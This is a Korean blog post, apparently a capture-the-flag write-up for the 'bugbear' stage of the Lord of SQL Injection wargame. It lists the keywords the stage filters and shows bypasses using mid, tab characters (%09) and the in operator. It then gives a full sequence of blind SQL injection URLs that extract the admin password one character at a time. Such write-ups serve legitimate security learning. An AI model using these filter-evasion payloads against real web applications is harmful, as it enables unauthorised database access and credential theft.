오늘은 기분이 좋아서 포스팅을 계속 올리게 된다.
여유를 찾은 것 같아 기분이 좋다!
조만간 블로그에 새로운 카테고리를 하나 생성할 것 같다.
이번에도 블라인드 인젝션이다!
계속 보던거니 즐거운 마음으로 임해보자!
제약이 점점 많아진다.
필터링 하는 것들이 늘어나는데, 그만큼 알아가는 범위도 넓어진다.
오늘의 주요한 코드는 이것이다.
preg_match 를 통해 ' 는 pw와 no 에서 둘다 막혔고,
substr, ascii, = , or , and , (공백) , like, 0x 가 막혔다.
여태껏 = 를 우회하려고 쓰던 like 가 막혔다.
그렇다면 또 다시 우리는 우회할 것을 찾으면 된다!
우린 답을 찾을것이다. 늘 그랬던 것처럼.
구글링을 해보니 in을 우회용으로 사용할 수 있다.
공백은 탭으로 우회해도 될 것 같다.
정리하자면
substr -> mid
공백 -> %09
= , like -> in
자세한 풀이와 답을 보고싶다면, 더보기 클릭!
?no=1%09||%09id%09in("admin")%09%26%26%09length(pw)%09in(8)
탭 표시때문에 조금 지저분해보이지만, 그냥 공백이라고 생각하면 쉽다!
유의사항은 in은 반드시 뒤에 ()안에 값을 넣어줘야한다는 것.
길이를 알아냈으니 이제 본격적으로 안에 들어갈 값을 찾아보자!
?no=1%09||%09id%09in("admin")%09%26%26%09mid(pw,1,1)%09in(7)
첫번째 글자는 7이다.
?no=1%09||%09id%09in("admin")%09%26%26%09mid(pw,2,1)%09in(3)
두번째 글자는 3이다.
?no=1%09||%09id%09in("admin")%09%26%26%09mid(pw,3,1)%09in(5)
세번째 글자는 5이다.
?no=1%09||%09id%09in("admin")%09%26%26%09mid(pw,4,1)%09in("c")
네번째 글자는 c이다.
in에서도 마찬가지로 c는 문자이기 때문에 쌍따옴표를 붙여주었다.
?no=1%09||%09id%09in("admin")%09%26%26%09mid(pw,5,1)%09in(2)
다섯번째 글자는 2이다.
?no=1%09||%09id%09in("admin")%09%26%26%09mid(pw,6,1)%09in(7)
여섯번째 글자는 7이다.
?no=1%09||%09id%09in("admin")%09%26%26%09mid(pw,7,1)%09in(7)
일곱번째 글자도 7이다.
?no=1%09||%09id%09in("admin")%09%26%26%09mid(pw,8,1)%09in(3)
마지막 여덟번째 글자는 3이다!
이렇게해서 만들어진 pw의 값은 735c2773이다.
이제 이것을 그대로 대입한다!
bugbear clear!
'Archive > Hacking' 카테고리의 다른 글
Lord of SQL Injection 15단계, assassin풀이 (0) | 2019.11.08 |
---|---|
Lord of SQL Injection 14단계, giant풀이 (0) | 2019.11.07 |
Lord of SQL Injection 12단계, darkknight풀이 (0) | 2019.11.07 |
Lord of SQL Injection 11단계, golem풀이 (0) | 2019.11.07 |
Lord of SQL Injection 10단계, skeleton풀이 (0) | 2019.11.05 |